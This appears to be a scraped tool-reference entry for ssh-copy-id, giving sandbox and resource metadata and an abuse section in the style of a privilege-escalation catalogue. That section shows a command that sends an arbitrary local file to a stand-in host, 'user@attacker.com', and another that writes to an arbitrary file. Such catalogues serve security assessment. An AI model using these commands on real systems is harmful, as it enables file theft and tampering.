Install SSH public keys on remote hosts; can write to authorized_keys and spawn shells.
ssh-copy-idssh-copy-idSandbox: execFile · Timeout: 30s
system.file.read system.file.write Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Read arbitrary files (sudo, unprivileged)
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.comWrite to arbitrary files (sudo, unprivileged)
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@hostssh-copy-id is a command-line utility. Install SSH public keys on remote servers; can also read arbitrary files, write to arbitrary files.